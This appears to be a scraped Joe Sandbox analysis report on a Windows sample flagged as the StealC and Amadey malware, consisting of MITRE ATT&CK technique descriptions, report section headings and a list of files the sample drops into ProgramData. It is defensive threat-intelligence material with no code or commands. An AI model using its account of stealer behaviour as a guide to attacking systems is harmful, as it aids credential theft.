Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEGHJKJKKJDHIDHJKJDBGCGCB

C:\ProgramData\CFHCBKKFIJJJECAAFCGI

C:\ProgramData\GCGHJEBG

C:\ProgramData\HCAAEGIJKEGHIDGCBAEB

C:\ProgramData\IEGCBFHJDHJJKFIDBGIJ

C:\ProgramData\IJEHIDHD

C:\ProgramData\IJKFIIIJJKJJKEBGIDGCAEGCGD

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre